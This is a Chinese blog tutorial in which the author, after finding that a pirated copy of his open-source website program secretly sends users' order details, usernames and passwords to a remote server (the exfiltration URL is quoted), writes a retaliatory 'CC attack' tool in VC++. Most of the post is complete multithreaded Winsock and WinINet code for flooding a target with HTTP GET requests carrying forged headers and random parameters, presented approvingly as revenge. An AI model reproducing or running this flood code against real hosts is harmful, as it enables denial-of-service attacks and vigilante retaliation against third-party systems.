首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C++ >

应用vc++ 制作盗版网站打击器

2012-10-29 
使用vc++ 制作盗版网站打击器前一段时间我发布了自己的一套开源的网站程序,不到多久市场上竟然也出现了相

使用vc++ 制作盗版网站打击器

前一段时间我发布了自己的一套开源的网站程序,不到多久市场上竟然也出现了相同的一套程序,并且我下载来之后

?

发现,整套程序除了版权和名称以外没有任何一点点的变化,有趣的是,这套程序到处都可以下载,并且没有留下他的

?

任何名称,网站等,开始好奇为什么了,在测试过程中我发现用户提交订单时候变得比较缓慢,我调试了一下,发现一段

?

代码在里面,果然,在用户提交表单时候,php里面通过 curl 方式 httpget到了另一个地址

?

http://www.****.info/sacc.asp?dn=当前域名&pr=订单名称&un=帐户名&up=账户密码&ap=订单金额&ia=账户余额&si=后门版本

?

真可恶,我花费不少时间做的东西开源却成了别人发黑财的利器了,到时候估计被骂的还是我

?

愤怒之下,打开VC,做了一个简单的CC攻击器,1是给他数据库增加垃圾数据,2是让他后门无法正常接受数据

?

首先看看完整程序截图:



应用vc++ 制作盗版网站打击器

现在来看看实现过程:

?

?

//========创建一个随机字符生成函数CString CMyDlg::Randstr(){const char CCH[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";char szRandstr[sizeof(CCH)-1]="";for (int i=0;i<=5;i++){int x = rand() % (sizeof(CCH) - 1);szRandstr[i]=CCH[x];}CString str=szRandstr;memset(szRandstr,0,sizeof(CCH)-1);return str;}

?

//========正常http方式访问网站BOOL CMyDlg::OpenUrl(LPSTR lpszUrl){char szn[55]="";sprintf(szn,"%d",rand() % 1000);HINTERNET hSession = InternetOpen(szn, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );if (hSession){HINTERNET hOpenUrl = InternetOpenUrl(hSession,lpszUrl, NULL,0,INTERNET_FLAG_RELOAD, 0 );if (hOpenUrl){#ifdef _DEBUGprintf("发送成功\r\n");#endif}InternetCloseHandle(hOpenUrl);InternetCloseHandle(hSession);InternetCloseHandle(hSession);}else{printf("发信失败\r\n");}returnFALSE;}
?
//==========通过原始方式发送http头给远程,不接包//==========域名转换IPvoid domaintoip(char *pAddr){if (inet_addr(pAddr)== INADDR_NONE){struct hostent *hp = NULL;if ((hp = gethostbyname(pAddr)) != NULL){in_addr in;memcpy(&in, hp->h_addr, hp->h_length);strcpy(pAddr,inet_ntoa(in));}}}//==============IP转换函数DWORD resolveIP(char *hostName){    hostent *hent;    char **addresslist;    DWORD result = 0;    hent = gethostbyname(hostName);    if(hent)    {        addresslist = hent->h_addr_list;        if (*addresslist)         {            result = *((DWORD *)(*addresslist));        }    }    return result;}//==============连接远程服务器函数SOCKET dogConnect(char *host, int port){//--------创建socketSOCKET sock;      sock = socket(AF_INET, SOCK_STREAM, 0);    if(sock == INVALID_SOCKET)        return sock;    sockaddr_in sin;    DWORD ip = resolveIP(host); //转换IP地址    if(ip == 0)        ip = inet_addr(host);    sin.sin_addr.s_addr = ip;    sin.sin_family = AF_INET;    sin.sin_port = htons(port);//---------连接目标connect(sock,(sockaddr *)&sin,sizeof(sin));fd_set rd;struct timeval tv;tv.tv_sec = 0;tv.tv_usec = 50;FD_ZERO(&rd);FD_SET(sock, &rd);if(select(sock + 1, &rd, NULL, NULL, &tv) < 0)    {           closesocket(sock);        return INVALID_SOCKET;    }    return sock;}//===========CC攻击线程DWORD WINAPI CC_attack(LPVOID lpParameter){//----------锁定,避免线程传递异常criticalsection.Lock();CMyDlg *dlg = (CMyDlg*)AfxGetApp()->m_pMainWnd;   srand((unsigned)time(NULL));  //设置随机种子WSADATA               WSAData;WSAStartup(MAKEWORD(2,2) ,&WSAData);//域名转IPchar szIp[128];strcpy(szIp,dlg->m_strDomain);domaintoip(szIp);CString str=dlg->Randstr();CString strDomain=dlg->m_strDomain;CString strParam=dlg->m_strParam;strParam.Replace("%s",str);int i=1200;Sleep(1000);//----------解锁,解放其他线程criticalsection.Unlock(); //--------连接目标地址SOCKET Sock=dogConnect(szIp,80);//--------如果连接失败,退出线程if (Sock==INVALID_SOCKET){        return 0;}//--------开始循环while (1){if (dlg->m_bStop==TRUE){break;}i++;CString strSend=strParam;char szNum[20]="";sprintf(szNum,"%d",i);strSend.Replace("%d",szNum);//--------格式化要发送的httpchar url[1110] = "";sprintf(url,"GET %s HTTP/1.1\r\nAccept:*/* \r\nReferer:g.cn\r\nAccept-Language:""zh-cn\r\nAccept-Encoding: gzip, deflate\r\nIf-Modified-Since: ""Sun, 26 Jun 2005 15:43:05 GMT\r\nIf-None-Match: "60794-12b3-e4169440"\r\nUser-Agent:""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322;"".NET CLR 2.0.50727)\r\nHost: %s\r\n\r\n",strSend,strDomain);send(Sock,url,strlen(url),0);closesocket(Sock);shutdown(Sock,2);Sock=dogConnect(szIp,80);//连接目标地址// linger   lig;   // lig.l_onoff=1;   // lig.l_linger=0;   // int  ilen=sizeof(linger);   // setsockopt(Sock,SOL_SOCKET,SO_LINGER,(char*)&lig,ilen);}closesocket(Sock);WSACleanup();return 0;}
?
//==========internetOpenUrl方式攻击线程DWORD WINAPI Thread1(LPVOID lpvoid){//----------锁定,避免线程传递异常criticalsection.Lock();Sleep(1000);CMyDlg *dlg = (CMyDlg*)AfxGetApp()->m_pMainWnd;   srand((unsigned)time(NULL));  //设置随机种子CString str=dlg->Randstr();CString strDomain=dlg->m_strDomain;CString strParam=dlg->m_strParam;strParam.Replace("%s",str);int i=1200;//----------解锁,解放其他线程criticalsection.Unlock(); while(1){if (dlg->m_bStop==TRUE){break;}CString strSend;strSend.Format("http://%s/%s",strDomain,strParam);i++;char szNum[20]="";sprintf(szNum,"%d",i);strSend.Replace("%d",szNum);char szbuf[1024]="";sprintf(szbuf,"%s",strSend);dlg->OpenUrl(szbuf);}return 1;}

?

//=========开始按钮void CMyDlg::OnButton1() {m_bStop=FALSE;GetDlgItemText(IDC_EDIT1,m_strDomain);GetDlgItemText(IDC_EDIT2,m_strParam);if (StrStrI(m_strDomain,"3ba.us")){return;}BOOL bFlag;int nThreadNum=GetDlgItemInt(IDC_EDIT3,&bFlag,FALSE);if (m_combox_type.GetCurSel()==0){for (int i=0;i<nThreadNum;i++){CreateThread(NULL,NULL,Thread1,NULL,NULL,NULL);Sleep(10);}}if (m_combox_type.GetCurSel()==1){for (int i=0;i<nThreadNum;i++){CreateThread(NULL,NULL,CC_attack,NULL,NULL,NULL);Sleep(10);}}SetDlgItemText(IDC_BUTTON1,"攻击中");GetDlgItem(IDC_BUTTON1)->EnableWindow(FALSE);}

?

在填写参数时候,比如

/sacc.asp?dn=%s&pr=%d&un=%s&up=%s&ap=%s&ia=%s&si=%d

?

其中的 %s 将会被替换成随机字符 %d将会被替换为随机数字

?

自从MFC转到QT以后以为不会再用 vc做东西了,毕竟以前积累过很多代码和开发经验,在有些时候看来VC还是不错的选择

?

完整工程代码下载

?

?

热点排行